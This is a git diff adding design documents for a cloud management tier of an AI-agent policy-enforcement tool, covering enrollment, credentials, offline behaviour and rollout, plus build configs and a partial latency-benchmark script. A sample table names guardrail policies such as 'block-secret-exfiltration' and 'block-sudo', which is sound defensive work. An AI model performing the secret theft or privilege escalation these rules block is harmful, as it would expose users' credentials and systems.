audits, and offline use. +``` + +**Login** is selected by default, but the user can move to **OSS** before continuing. The one-liners are product explanations, not license warnings. Login retains every OSS capability and adds connected functionality. OSS remains a complete supported path rather than a trial or degraded mode — it is exactly the Phase 1 product, capture and delivery included. + +After the user selects a mode, the completed step stays visible as `Login · ` or `OSS · local only`. Returning to the step and changing the choice updates the remaining flow before anything is applied. + +Choosing Login adds four things: + +- **Sign-in** — authenticate and create a time-bounded pending enrollment. Browser sign-in is preferred; device code supports headless machines. +- **Machine identity** — propose a display name and reserve a pending machine identity. It is not activated yet. +- **Assignment source** — cloud assignments appear in the policy step as an additional source alongside local policy. +- **Activation** — after local verification succeeds, exchange the pending enrollment for the machine credential, acknowledge the machine, and activate its identity. + +Completion then reports organization, machine, and dashboard links, which a standalone install omits. + +### The enrollment transaction + +Setup is transactional across local *and* cloud effects, which is harder than the local-only case because a network call can succeed without the client learning that it did. + +Enrollment, credential exchange, activation, status lookup, and deactivation all use one stable setup-transaction idempotency key. If a later step fails, setup restores the previous harness configuration and service state, revokes any issued machine credential, and idempotently cancels a pending identity or deactivates an already-activated one using that key. + +An ambiguous activation response is resolved by querying activation status with the same key before retrying or compensating, so a retry can never create a second machine. Pending enrollments expire server-side if the client disappears before compensation, and activated-but-uncommitted identities are marked by the server for expiry unless setup durably commits. Re-running setup resumes or replaces the same transaction rather than creating duplicates. + +Setup never leaves an apparently active cloud machine with no healthy local service. + +### Non-interactive connected installation + +Connected automation adds enrollment explicitly to the Phase 1 command: + +```sh +failproofai setup \ + --non-interactive \ + --mode login \ + --enrollment-token "$TOKEN" \ + --machine-name build-runner-07 \ + --harness claude --harness codex \ + --capture codex +``` + +`--mode oss` is the Phase 1 behavior and needs no token. Omitting `--mode` in non-interactive mode is an error rather than a default, so automation never enrolls a machine by accident. + +## The machine credential + +The one-time enrollment token is exchanged for a rotatable machine credential and then discarded. Secrets must not appear in generated service definitions or process arguments after enrollment. + +The credential belongs to the installation. Phase 1 ships user scope, so an installation is one user's, and the credential lives in that user's own configuration alongside the delivery key — using the operating-system credential store where practical, with an owner-only file as the portability fallback. It never appears in a service definition, a process argument, or a log. + +What that means for the fleet model has to be said rather than assumed: an enrolled identity is a *user's installation on a host*, not the host. Two developers on one workstation enrol twice. A fleet that needs one identity per machine, held where the machines' own users cannot read it, needs the [`managed` scope](../phase-1-local-enforcement/04-service-and-updates.md#deferred-scopes) first, and Phase 2 should not attempt to simulate one on top of user scope. + +This is the machine's third credential and it is deliberately distinct from the other two. It is not the user's `failproofai auth login` token, and not the collector's `events:add` key for a self-hosted observability server; the control plane, the user session, and event ingest are separately scoped, so compromising any one of them confers neither of the others. Enrolling does not replace or rotate the collector's key, and does not change where captured data goes. + +## Health + +Connected installations add cloud subsystems to the Phase 1 health snapshot. Because that snapshot is versioned, this is an extension rather than a reshape: + +- cloud state as `not_configured`, `connected`, `stale`, `expired`, `rejected`, or `never_synced`; +- cloud assignment generation alongside the local policy generation. + +Capture and delivery health are already in the Phase 1 snapshot and are not restated here. On a standalone installation every cloud check reports `not_configured` — not a warning and not a failure. + +A process can be running while policy sync is unhealthy. The UI must never collapse these into one green status. + +## Offline behavior + +The daemon additionally loads the last verified cloud assignment generation and continues enforcing it while the cloud is unavailable. Hook decisions still make no network request. + +Ordinary organization policy continues from last-known-good state by default rather than silently disappearing. Connected users see the age and expiry state of cloud policy. Local policies are unaffected by cloud expiry. + +Errors name the affected capability and the current safety behavior: + +```text +Enforcement: healthy — generation 184 active +Cloud sync: degraded — offline for 18m; generation 184 remains enforced +``` + +## Source labelling + +Local policy files, builtin policies, and convention discovery remain active on a connected machine. The CLI labels every source and scope so nobody has to guess which plane produced a rule: + +```text +SOURCE SCOPE MODE POLICY +Failproof Cloud organization enforce block-secret-exfiltration +Failproof Cloud agent:codex observe require-tests-before-stop +Local user enforce block-sudo +Local project enforce repository-boundary +``` + +`policies explain` reports assignment scope and revision alongside the Phase 1 fields, so a decision on a connected machine remains attributable to the exact rollout that produced it. + +## Uninstall + +Connected uninstall extends the Phase 1 sequence with credential handling: + +1. revoke the machine credential, or record revocation for its next connection; +2. securely erase the local machine credential and any cached token, retaining only a non-secret revocation tombstone when revocation could not be delivered. + +Credentials are never part of preserved state. An uninstall performed offline must leave nothing on disk that could still authenticate, which is why erasure is unconditional rather than a consequence of a successful revocation call. + +Cloud data and organization policy are not deleted by uninstalling one machine. + +## Acceptance criteria + +- A standalone Phase 1 machine that never enrolls behaves identically before and after Phase 2 ships, including which sources it captures and where their data goes. +- Connecting Failproof Cloud does not disable or subordinate user-authored local policy, and local policy behavior is identical before, during, and after enrollment. +- Re-running connected setup is idempotent; activation retries cannot create a second machine. +- An ambiguous activation response is resolved by status lookup before any retry or compensation. +- Setup failure restores prior service and harness configuration and leaves no orphaned pending or activated machine identity. +- No credential appears in a service definition, process argument, or log. +- The machine credential is never stored in a service definition, process argument, or log, and enrolling a second user on one host creates a second identity rather than sharing one. +- Uninstall leaves no credential on disk, including when performed offline. +- Cloud outage does not prevent policy decisions and is visible as management-state freshness degradation. +- On a standalone install, every cloud health check reports `not_configured` rather than a warning. +- A connected decision is attributable to an exact policy revision and assignment revision. diff --git a/desgin-docs/v1.0.0/phase-2-cloud/02-cloud-policy-management.md b/desgin-docs/v1.0.0/phase-2-cloud/02-cloud-policy-management.md new file mode 100644 index 00000000..6e040fe4 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-2-cloud/02-cloud-policy-management.md @@ -0,0 +1,104 @@ +# Failproof Cloud policy management + +## Purpose + +The Phase 1 product remains a complete standalone policy system. Users author and run builtin or custom policy locally without an account, machine enrollment, organization, or cloud service, and that path is not degraded by anything here. Sign-in and machine identity are in [login and enrollment](./01-login-and-enrollment.md). + +Failproof Cloud adds centralized management for fleets of `failproofaid` enforcement planes. It does not replace, gate, or remove local policy authoring. FailproofAI observability data closes the loop between observing agent behavior and deploying an additional centrally managed guardrail: + +1. analysis identifies risky behavior or a failed outcome; +2. a user creates or accepts a policy draft from that evidence; +3. historical data estimates its match set where possible; +4. the policy is assigned in observe mode to a narrow cohort; +5. Failproof Cloud reports matches, would-deny results, latency, and outcome changes; +6. an authorized user promotes the same immutable revision to enforce mode; +7. the assignment can expand, pause, expire, narrow, or roll back. + +Cloud availability is not required for standalone operation or for an individual hook decision, because every Phase 2 decision is still evaluated locally. + +## Future direction: cloud evaluation + +Moving synchronous policy evaluation off the machine is a possible later iteration, not part of Phase 2's implementation or user experience. + +The boundary Phase 1 chose is what keeps it open without committing to it: harnesses always call the local daemon with a canonical request and receive a canonical result, so they would not need reintegration. A future design must separately specify latency, availability, privacy, data residency, caching, and outage behavior before implementation. Those controls are deliberately absent from the configuration schema. + +## Identity and targeting + +Only a connected daemon installation has a cloud machine ID and rotatable credential bound to an organization. A standalone installation creates neither. Connected targeting context may include: + +```text +organization -> environment -> machine -> agent -> session +``` + +Project/workspace, canonical event, and tool are additional match dimensions rather than administrative parent scopes. + +Assignments have one effect: + +- `enforce` — apply the policy result; +- `observe` — evaluate and record without changing harness behavior; +- `disabled` — suppress a named inherited assignment when the actor has authority. + +Narrow scope does not automatically erase broader safety policy. Missing session identity never broadens a session assignment to an agent or machine. + +## Policy releases and assignments + +A policy release is immutable and content-addressed. It includes policy ID and revision, artifact, required runtime/API version, declared events and capabilities, resource limits, human description and provenance, digest, and publisher signature. + +An assignment references a release and supplies target, effect, priority, rollout cohort, activation/expiry, emergency status, and assignment revision. Rollback changes desired assignment state; it never mutates a release. + +The server returns explicit assignment IDs and precedence metadata. The daemon validates organization and machine binding rather than reproducing a changing cloud query language. + +## Reconciliation + +The management lane: + +1. authenticates with the machine credential; +2. sends capabilities, current revision, runtime version, and minimized targeting labels; +3. receives a snapshot/delta and missing immutable artifacts; +4. verifies target binding, signatures, hashes, compatibility, validity, and resource limits; +5. constructs a complete candidate generation; +6. atomically activates it; +7. acknowledges the active revision or reports structured rejection. + +Polling with jitter is the baseline. A push notification may prompt an immediate authenticated fetch but never carries trusted executable state itself. + +Partial activation is forbidden. Missing, invalid, incompatible, replayed, or tampered state leaves the last known-good generation active. + +## Coexistence with local policy + +The effective policy set on a connected machine is additive: + +1. locally configured builtin policy; +2. local explicit custom policy; +3. local project/user convention policy; +4. cloud organization/environment/machine/agent/session assignments. + +All matching policies run. Result severity is `deny`, then `instruct`, then `allow`. Stable source-qualified policy and assignment IDs prevent name collisions. A cloud `disabled` assignment can suppress a specifically inherited cloud assignment when authorized; it cannot disable a user's local policy. Local policy can be disabled only through the existing local configuration and file workflows. + +Every result records policy revision, assignment ID and scope, generation, target context and identity provenance, observe/enforce effect, policy result, effective harness action, and timing. This lets Failproof Cloud attribute a decision to the exact rollout that produced it. + +## Offline and expiry + +The daemon persists the last verified assignment generation. Policy continues to evaluate locally from that state. Before assignment expiry it reports increasing management staleness; after expiry, each assignment declares whether to continue local enforcement, fall back to observe, or fail closed for a narrowly defined mandatory control. + +Ordinary organization policy defaults to continuing last-known-good enforcement rather than silently removing guardrails. Local policy continues independently. A standalone machine has no cloud synchronization state at all. + +Health distinguishes `connected`, `stale`, `expired`, `rejected`, and `never_synced`. Server time and bounded clock-skew evidence support expiry decisions. + +## Rollout controls + +Cloud deployment supports observe-before-enforce, staged cohorts, activation time, expiry, pause, rollback, and a strongly authorized emergency override with an audit reason. + +Rollout telemetry includes acknowledgement and freshness, match/decision volume, evaluation errors, timeouts, latency, and effective harness action. Configured thresholds can automatically halt expansion when a revision behaves unexpectedly. + +AI-generated policy never bypasses authorization. Organizations define who may create, approve, enforce, disable, and fleet-deploy policy. + +## Security requirements + +- Machine control-plane credentials are separate from event-ingest and harness-catalog retrieval credentials. +- Policy releases and desired-state snapshots are signed, organization-bound, content-addressed, and replay-resistant. +- Cloud policy has declared limited capabilities and no ambient host authority. +- Targeting labels are minimized and treated as customer data. +- Standalone operation creates no cloud machine identity and sends no policy, configuration, activity, or targeting data to FailproofAI. +- Prompt, transcript, and tool-result content is not required merely to resolve an assignment. +- Credential rotation, machine revocation, publisher-key rotation, and emergency policy revocation have explicit protocols. diff --git a/desgin-docs/v1.0.0/phase-2-cloud/03-delivery-plan.md b/desgin-docs/v1.0.0/phase-2-cloud/03-delivery-plan.md new file mode 100644 index 00000000..94f0bff0 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-2-cloud/03-delivery-plan.md @@ -0,0 +1,44 @@ +# Delivery plan + +Phase 2 starts after [Phase 1](../phase-1-local-enforcement/README.md) is the default and its rollback windows have closed. Every stage below must leave a machine that never signs in behaving exactly as it did. + +## Stage 0: contracts + +- Define machine identity, desired state, policy release, assignment, and acknowledgement contracts. +- Extend the Phase 1 health snapshot and `Query` operations with cloud subsystems, additively. +- Reuse Phase 1's spool and delivery machinery rather than adding a second path. + +## Stage 1: login and enrollment + +- Add the Login/OSS mode step, sign-in, pending machine identity, and the transactional enrollment/activation sequence keyed by one stable setup-transaction key. +- Prove compensation: failure at every step restores prior local state and leaves no orphaned pending or activated identity. +- Prove that an ambiguous activation response resolves by status lookup rather than by retry. +- Ship no assignment consumption yet — enrollment alone, so identity and credential handling are provable in isolation. + +## Stage 2: cloud-managed local enforcement + +- Add signed immutable policy releases and atomic desired-state generations. +- Launch observe-only narrow cohorts first. +- Add approval, staged promotion, pause, expiry, rollback, and rollout-halting telemetry. +- Enable cloud-assigned, locally evaluated enforcement only after attribution and offline behavior pass end-to-end tests. +- Verify that connecting and disconnecting the tier does not alter local policy behavior. + +## Acceptance criteria + +- A machine that never enrolls is unaffected by every stage above, including its capture and delivery behavior. +- Cloud targeting resolves deterministically without crossing organization/machine boundaries. +- Cloud outage and daemon restart preserve last known-good enforcement. +- Failproof Cloud attributes each decision to exact policy and assignment revisions. +- Enrolling does not change which sources are captured or where their data is delivered. +- Uninstall leaves no machine credential on disk, including when performed offline. + +## Open decisions + +1. Sandboxed or declarative format for cloud-created policy in the Rust plane. A legacy JavaScript worker exists for locally authored policy; it is not authority to execute arbitrary remote JavaScript with the user's filesystem, environment, process, or network access. +2. Policy release signing and trust-root rotation. +3. Roles allowed to create, approve, assign, disable, and emergency-override policy. +4. Whether narrower scope may disable organization policy, and which controls are mandatory. +5. Propagation SLO and maximum policy staleness for ordinary and emergency changes. +6. Targeting attributes permitted to leave a machine. +7. Whether a machine enrolled in Failproof Cloud may also be pointed at a self-hosted observability server, and whether the two destinations share one spool or two. +8. Whether cloud-side evaluation is pursued at all after Phase 2, and if so, its latency, availability, privacy, residency, caching, and outage contract. Phase 1's canonical request/result model keeps the option open without committing to it. diff --git a/desgin-docs/v1.0.0/phase-2-cloud/README.md b/desgin-docs/v1.0.0/phase-2-cloud/README.md new file mode 100644 index 00000000..f4882967 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-2-cloud/README.md @@ -0,0 +1,30 @@ +# Phase 2 — account, cloud management, and delivery + +Status: Draft + +Target: after [Phase 1](../phase-1-local-enforcement/README.md) is the default + +Phase 2 is the new management plane: machine enrollment into Failproof Cloud, centrally assigned policy, targeting, fleet health, and staged rollout, on top of the Phase 1 enforcement plane. + +It is scoped to what does not exist today. Everything the current product already ships — enforcement, policy authoring, the local dashboard, and the whole `agenteye-collector` including delivery to a customer's self-hosted server — is [Phase 1](../phase-1-local-enforcement/README.md), because the compatibility promise covers it. + +**Phase 2 is additive by construction.** A machine that never enrolls must behave exactly as it did under Phase 1 — same decisions, same latency, same local authoring, same capture and delivery, same offline behavior, no dormant client, no machine credential on disk. Every stage of the plan is gated on that. + +## Documents + +1. [Login, machine identity, and enrollment](./01-login-and-enrollment.md) — the Login/OSS setup choice, sign-in, the transactional enrollment sequence, the machine credential, connected health, and connected uninstall. +2. [Failproof Cloud policy management](./02-cloud-policy-management.md) — additive centralized assignments and the observability-to-enforcement loop, without replacing local policy authoring. +3. [Delivery plan](./03-delivery-plan.md) — stages, acceptance criteria, and unresolved decisions. + +## Settled decisions + +- Failproof Cloud adds centralized management and observability-driven workflows; it does not replace local policy authoring or enforcement. +- All policy evaluation stays local in Phase 2. Assignments and artifacts synchronize asynchronously; hook decisions still make no network request. +- Connected cloud policy can target organization, environment, machine, agent, and session scope. Project/workspace, canonical event, and tool are match dimensions rather than administrative parent scopes. +- The effective policy set is additive. A cloud `disabled` assignment can suppress a specifically inherited cloud assignment when authorized; it can never disable a user's local policy. +- Enrollment, credential exchange, activation, status lookup, and deactivation share one stable setup-transaction idempotency key, so a retry cannot create a second machine and an ambiguous response is resolved by status lookup. +- The machine credential lives with the installation it belongs to — in the user's own configuration, like the delivery key — never in a service definition or process argument, and erased unconditionally on uninstall, including offline. Phase 1 ships user scope, so a "machine" identity is per-installation; a fleet that needs one identity per host rather than one per user needs a [deferred scope](../phase-1-local-enforcement/04-service-and-updates.md#deferred-scopes) first. +- The machine control-plane credential is a **new and separate** credential. It is not the user's `failproofai auth login` token and not the collector's `events:add` key; compromising any one of them confers neither of the others. +- Cloud-created policy needs a deterministic, capability-limited representation. Phase 1's JavaScript worker exists for code the machine's own users authored; it is not authority to execute arbitrary remote JavaScript with that user's filesystem, environment, process, or network access. +- Phase 2 adds one execution lane, management, to the bounds Phase 1 already established. It reuses the existing spool and delivery machinery rather than introducing a second one. +- Moving evaluation off the machine remains a later, separate question. Phase 1's canonical location-independent request/result model keeps it open; nothing in Phase 2 commits to it. diff --git a/package.json b/package.json index 958e80ae..f902fd75 100644 --- a/package.json +++ b/package.json @@ -30,7 +30,8 @@ "test": "vitest", "test:run": "vitest run", "lint": "eslint . --config eslint.config.mjs", - "prepare": "bun run build", + "check:versions": "node scripts/check-versions.mjs", + "check:pack": "node scripts/check-pack-allowlist.mjs", "test:e2e": "vitest run --config vitest.config.e2e.mts", "test:e2e:watch": "vitest --config vitest.config.e2e.mts", "translate": "bun scripts/translate-docs/cli.ts", diff --git a/rust-toolchain.toml b/rust-toolchain.toml new file mode 100644 index 00000000..ae0468f9 --- /dev/null +++ b/rust-toolchain.toml @@ -0,0 +1,8 @@ +# Pinned so `cargo fmt`/`cargo clippy` produce the same verdict on every machine +# and in CI. rustfmt and clippy are not in the default profile for a bare +# `rustup toolchain install`, so they are requested explicitly — without them the +# `rust-quality` job fails on "error: no such command: `fmt`". +[toolchain] +channel = "1.97.1" +components = ["rustfmt", "clippy"] +profile = "minimal" diff --git a/rustfmt.toml b/rustfmt.toml new file mode 100644 index 00000000..c3dfd2ad --- /dev/null +++ b/rustfmt.toml @@ -0,0 +1,6 @@ +# Pin the edition rustfmt assumes. Invoked through `cargo fmt` it inherits the +# manifest's edition, but editors and rust-analyzer shell out to `rustfmt` +# directly, where the default is edition 2015 — so without this the formatting a +# contributor sees on save can differ from what `rust-quality` enforces. +edition = "2024" +max_width = 100 diff --git a/scripts/bench-hook.ts b/scripts/bench-hook.ts new file mode 100644 index 00000000..967af7eb --- /dev/null +++ b/scripts/bench-hook.ts @@ -0,0 +1,2245 @@ +#!/usr/bin/env bun +/** + * bench-hook.ts — the Stage 0 cold-start hook-latency baseline. + * + * ┌──────────────────────────────────────────────────────────────────────────┐ + * │ MEASURE + WRITE THE BASELINE: bun scripts/bench-hook.ts │ + * │ RE-MEASURE AND COMPARE: bun scripts/bench-hook.ts --check │ + * └──────────────────────────────────────────────────────────────────────────┘ + * + * There is deliberately NO `bench` entry in package.json — this is a script you + * run on demand, never a vitest test and never a CI job. Benchmarks inside the + * unit suite make CI flaky, and `--check` is provided so a *future* soft gate + * can be wired up without rewriting anything. It is not wired up today. + * + * Outputs (both committed): + * __tests__/parity/bench-baseline.json machine-readable, per (cli, event) + * __tests__/parity/bench-baseline.md human-readable summary + the argument + * + * ── WHY THE PHASE SPLIT IS THE WHOLE POINT ──────────────────────────────── + * + * From `desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/` + * `03-risks-and-amendments.md`: + * + * "**"The daemon isn't faster" could kill the project mid-flight for the + * wrong reason.** Through Stage 3 the client is still `bin/failproofai.mjs` + * under Node or bun, so 40–80 ms of process startup dominates and masks the + * win. The real Stage 1–3 gain is removing the per-invocation config read and + * policy load — which today writes temp files next to the user's source on + * every tool call. State that explicitly, and gate the end-to-end latency + * target at Stage 4, when the native client lands, rather than at Stage 1." + * + * A single end-to-end number cannot support that argument. Four phases can: + * + * 1. spawn fork/exec + interpreter bootstrap + evaluation of the + * failproofai module graph — everything before the first line + * of policy work. The daemon does NOT remove this until + * Stage 4, when `crates/failproofai-cli` replaces the Node + * client. + * 2. config+load readMergedHooksConfig + registerBuiltinPolicies + + * loadAllCustomHooks. Removed by the daemon at STAGE 1. + * This is the phase that today, on every single tool call, + * writes `.__failproofai_tmp__.mjs` files next to the user's + * own source (src/hooks/loader-utils.ts, `rewriteFileTree`), + * which is why this script measures it twice: with and + * without a custom policy file present. + * 3. evaluate the policy loop (`evaluateVerdicts`). Moves into a warm + * resident worker at STAGE 1. + * 4. encode per-CLI response encoding (`encodeResponse`). STAGE 1. + * + * So the honest claim this baseline supports is: *Stages 1–3 remove phases 2–4; + * Stage 4 removes phase 1.* Anyone reading only an end-to-end number would + * conclude the daemon bought nothing, because phase 1 dwarfs the rest. + * + * ── HOW THE PHASES ARE MEASURED ─────────────────────────────────────────── + * + * Every iteration is ONE COLD PROCESS — that is the thing being measured, so it + * cannot be amortized. The parent (this file, under bun) spawns a *worker*: this + * same file, bundled with the same `bun build --target=node --format=esm` + * invocation `package.json`'s `build:cli` uses for `dist/cli.mjs`, then run + * under `node` with a realistic per-(cli, event) payload on stdin. + * + * The worker re-enacts the pipeline of `src/hooks/handler.ts` — the same + * imports, the same call order — and reports each phase's duration. It cannot + * BE `handleHookEvent`, because that function returns one number for the whole + * invocation and `src/` is off-limits to this script; so it calls the same + * exported units `handleHookEvent` calls, in the same order. `assertHandlerShape()` + * is the tripwire for that mirror going stale. + * + * `spawn` is measured ACROSS the process boundary: the parent records + * `performance.timeOrigin + performance.now()` immediately before `spawnSync`, + * the worker records the same expression as the first statement of its own + * module body, and the difference is the startup cost. Both endpoints read the + * same machine's wall clock, so the subtraction is meaningful. + * + * spawn = worker's first-code timestamp − parent's pre-spawn timestamp + * config+load, evaluate, encode = measured inside the worker + * e2e = the parent's wall clock around spawnSync + * other = e2e − (the four phases). Payload parse, tool/event + * canonicalization, envelope construction, the worker's own JSON + * emit, process teardown, and the parent's reap. Reported so the + * four phases always add up to something checkable. + * + * A `calibration` section re-runs the REAL client — `node dist/cli.mjs --hook + * --cli ` — over a sample of cells, so the gap between the harness + * and the shipping binary is a published number rather than an assumption. + * + * ── WHAT IS DERIVED, AND WHAT IS NOT ────────────────────────────────────── + * + * The matrix is `INTEGRATION_TYPES` × `HOOK_EVENT_TYPES`, read from + * `src/hooks/types.ts`. Nothing here hardcodes "twelve" or an event list, and + * per-CLI tables are resolved BY NAMING CONVENTION off a namespace import + * (`_TOOL_MAP`, `_TOOL_INPUT_MAP`, `_EVENT_MAP`) exactly as + * `scripts/gen-canon-tables.ts` does — so a thirteenth CLI gets its own cells + * the moment its constants land, with no edit here. + * + * The ONE thing not derived is the per-CLI stdin *field naming* (Antigravity's + * camelCase protojson, Goose's `event`/`working_dir`, Cursor's + * `workspace_roots`), because that lives as inline code in `handler.ts` and + * `resolve-cwd.ts` rather than as a table. `PAYLOAD_DIALECTS` below encodes it, + * and a CLI absent from that table gets the Claude snake_case shape — which is + * what every shim-fronted CLI actually delivers to the binary anyway. + * + * ── WHAT THESE NUMBERS CAN AND CANNOT BE USED FOR ───────────────────────── + * + * They were taken on a shared developer workstation, not a quiesced machine. + * See the "Reading these numbers honestly" section of the generated `.md`. In + * short: the phase RATIOS and the with/without-custom-policy DELTA are robust; + * the absolute millisecond values are hardware- and load-specific and must not + * be compared against a run on different hardware. That is why `machine` is + * recorded in the artifact and why `--check` refuses to gate across a + * fingerprint change. + */ + +import { spawnSync } from "node:child_process"; +import { + cpSync, + existsSync, + mkdirSync, + readFileSync, + rmSync, + statSync, + writeFileSync, + writeSync, + readdirSync, +} from "node:fs"; +import { dirname, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; +import { arch, cpus, hostname, loadavg, platform, release, totalmem, type as osType } from "node:os"; + +import * as TYPES from "../src/hooks/types"; +import { HOOK_EVENT_TYPES, INTEGRATION_TYPES } from "../src/hooks/types"; +import type { HookEventType, IntegrationType, SessionMetadata } from "../src/hooks/types"; +import { BUILTIN_POLICIES, registerBuiltinPolicies } from "../src/hooks/builtin-policies"; +import { readMergedHooksConfig } from "../src/hooks/hooks-config"; +import { clearPolicies, registerPolicy } from "../src/hooks/policy-registry"; +import { loadAllCustomHooks } from "../src/hooks/custom-hooks-loader"; +import { encodeResponse, evaluateVerdicts } from "../src/hooks/policy-evaluator"; +import { canonicalizeToolInput, canonicalizeToolName } from "../src/hooks/tool-name-canonicalize"; +import { resolveCwd } from "../src/hooks/resolve-cwd"; +import { resolvePermissionMode } from "../src/hooks/resolve-permission-mode"; +import { resolveTranscriptPath } from "../src/hooks/resolve-transcript-path"; +import { buildLocalEnvelope, envelopeToSessionMetadata } from "../src/hooks/request-envelope"; +import { readLocalHostFacts } from "../src/hooks/local-host"; +import type { CustomHook, PolicyFunction, PolicyResult } from "../src/hooks/policy-types"; + +// ── THE PHASE-1 BOUNDARY ─────────────────────────────────────────────────── +// These must be the FIRST two executable statements in the file. ESM import +// declarations are hoisted and every imported module body runs to completion +// before the entry module's own body starts, so by the time these two lines +// execute the entire failproofai module graph has been evaluated — which is +// exactly the boundary between phase 1 (spawn) and everything after it. +// Subtracting the parent's pre-spawn timestamp from `T_ORIGIN_MS + T_ENTRY_MS` +// gives `spawn`. Do not move anything above them. +const T_ENTRY_MS = performance.now(); +const T_ORIGIN_MS = performance.timeOrigin; + +// ── Paths ────────────────────────────────────────────────────────────────── + +const HERE = dirname(fileURLToPath(import.meta.url)); +const REPO_ROOT = resolve(HERE, ".."); +const DEFAULT_OUT_DIR = resolve(REPO_ROOT, "__tests__", "parity"); +/** Everything this script creates lives here and is removed on exit. */ +const WORK_DIR = resolve(REPO_ROOT, ".bench-hook-tmp"); +const WORKER_BUNDLE = resolve(WORK_DIR, "bench-worker.mjs"); +const NOOP_SCRIPT = resolve(WORK_DIR, "noop.mjs"); +const DIST_DIR = resolve(REPO_ROOT, "dist"); +const DIST_CLI = resolve(DIST_DIR, "cli.mjs"); +const DIST_INDEX = resolve(DIST_DIR, "index.js"); + +/** + * A private snapshot of `dist/`, taken once at startup and used for every + * iteration thereafter (`FAILPROOFAI_DIST_PATH` and the calibration binary both + * point here, not at the shared `dist/`). + * + * This is not paranoia. A full capture is tens of thousands of cold processes + * over the better part of an hour, and `dist/` is a shared, gitignored build + * output that any other `bun run build:cli` in the repo rewrites in place. The + * first attempt at this baseline lost 27,345 of 36,888 iterations to exactly + * that: a concurrent rebuild landed mid-run and every worker after it failed. + * The snapshot makes the measurement depend on nothing that can change while it + * runs. It lives inside WORK_DIR, which is inside the repo, so node still + * resolves the `--external` packages from the repo's own `node_modules`. + */ +const SNAPSHOT_DIST_DIR = resolve(WORK_DIR, "dist"); +/** Held for the duration of a capture — see `acquireLock`. */ +const LOCK_FILE = resolve(REPO_ROOT, ".bench-hook.lock"); +const SNAPSHOT_CLI = resolve(SNAPSHOT_DIST_DIR, "cli.mjs"); + +const MARKER = "##FPAI-BENCH##"; + +/** Fraction of failed iterations above which the run is not trustworthy. */ +const MAX_FAILURE_RATE = 0.01; + +// ── Phases ───────────────────────────────────────────────────────────────── + +const PHASES = ["spawn", "configLoad", "evaluate", "encode", "other", "e2e"] as const; +type Phase = (typeof PHASES)[number]; + +/** The three percentiles every phase tuple carries, in order. */ +const PERCENTILES = [50, 95, 99] as const; + +type Triple = [number, number, number]; +type PhaseTriples = Record; + +const VARIANTS = ["default", "custom"] as const; +type Variant = (typeof VARIANTS)[number]; + +// ── Payload dialects (the one thing not derived — see the header) ────────── + +type DialectId = "claude" | "antigravity" | "goose"; + +/** + * Per-CLI stdin field naming, mirroring the normalization blocks in + * `src/hooks/handler.ts`. Absent CLI ⇒ `{shape: "claude"}`, which is what every + * shim-fronted integration actually hands the binary. + */ +const PAYLOAD_DIALECTS: Partial> = { + // handler.ts: `if (cli === "antigravity")` — camelCase protojson. + antigravity: { shape: "antigravity" }, + // handler.ts: `if (cli === "goose")` — `event` / `working_dir`. + goose: { shape: "goose" }, + // resolve-cwd.ts: Cursor's non-tool events carry no top-level cwd; the only + // directory signal is `workspace_roots`. + cursor: { shape: "claude", workspaceRoots: true }, +}; + +/** Events whose payload carries a tool call. Everything else gets no tool. */ +const TOOL_EVENTS = new Set([ + "PreToolUse", + "PermissionRequest", + "PermissionDenied", + "PostToolUse", + "PostToolUseFailure", + "PostToolBatch", +]); + +/** Events whose payload carries a user prompt. */ +const PROMPT_EVENTS = new Set(["UserPromptSubmit", "UserPromptExpansion"]); + +/** Events that carry a tool RESULT in addition to the call. */ +const RESULT_EVENTS = new Set(["PostToolUse", "PostToolUseFailure", "PostToolBatch"]); + +/** + * The benchmark's Bash command. Deliberately benign: a deny SHORT-CIRCUITS + * `evaluateVerdicts`, so benchmarking a denied command would measure the + * cheapest possible policy loop and understate `evaluate`. An allowed command + * runs every matched policy to completion, which is the honest worst case. + */ +const BENCH_COMMAND = "git status --short"; + +const BENCH_SESSION_ID = "bench-session-0001"; + +// ── Small utilities ──────────────────────────────────────────────────────── + +function percentile(sorted: number[], p: number): number { + if (sorted.length === 0) return 0; + const rank = Math.ceil((p / 100) * sorted.length); + return sorted[Math.min(sorted.length - 1, Math.max(0, rank - 1))]!; +} + +function round(n: number, dp = 2): number { + const f = 10 ** dp; + return Math.round(n * f) / f; +} + +function triple(samples: number[]): Triple { + const s = [...samples].sort((a, b) => a - b); + return [round(percentile(s, 50)), round(percentile(s, 95)), round(percentile(s, 99))]; +} + +function mean(xs: number[]): number { + return xs.length === 0 ? 0 : xs.reduce((a, b) => a + b, 0) / xs.length; +} + +function stddev(xs: number[]): number { + if (xs.length < 2) return 0; + const m = mean(xs); + return Math.sqrt(xs.reduce((a, b) => a + (b - m) ** 2, 0) / (xs.length - 1)); +} + +function nowEpochMs(): number { + return performance.timeOrigin + performance.now(); +} + +function fmt(n: number, dp = 1): string { + return n.toFixed(dp); +} + +/** Render a delta with an explicit sign — `+-13.82` is not a number. */ +function signed(n: number, dp = 2): string { + return `${n >= 0 ? "+" : "\u2212"}${Math.abs(n).toFixed(dp)}`; +} + +// ── Matrix derivation (nothing below hardcodes 12) ───────────────────────── + +interface Cell { + cli: IntegrationType; + event: HookEventType; +} + +function buildMatrix(cliFilter: Set | null, eventFilter: Set | null): Cell[] { + const cells: Cell[] = []; + for (const cli of INTEGRATION_TYPES) { + if (cliFilter && !cliFilter.has(cli)) continue; + for (const event of HOOK_EVENT_TYPES) { + if (eventFilter && !eventFilter.has(event)) continue; + cells.push({ cli, event }); + } + } + return cells; +} + +function cellKey(cell: Cell): string { + return `${cell.cli}|${cell.event}`; +} + +/** Resolve `_TOOL_MAP` / `_TOOL_INPUT_MAP` / `_EVENT_MAP` by convention. */ +function lookupTable(cli: IntegrationType, suffix: string): T | undefined { + const ns = TYPES as unknown as Record; + return ns[`${cli.toUpperCase()}_${suffix}`] as T | undefined; +} + +/** Reverse a `_TOOL_MAP` (native → canonical) to get the native tool id. */ +function nativeToolName(cli: IntegrationType, canonical: string): string { + const map = lookupTable>(cli, "TOOL_MAP"); + if (!map) return canonical; + for (const [native, canon] of Object.entries(map)) { + if (canon === canonical) return native; + } + return canonical; +} + +/** Reverse a `_TOOL_INPUT_MAP[canonicalTool]` (native key → canonical key). */ +function nativeToolInput( + cli: IntegrationType, + canonicalTool: string, + canonicalInput: Record, +): Record { + const maps = lookupTable>>(cli, "TOOL_INPUT_MAP"); + const map = maps?.[canonicalTool]; + if (!map) return canonicalInput; + const 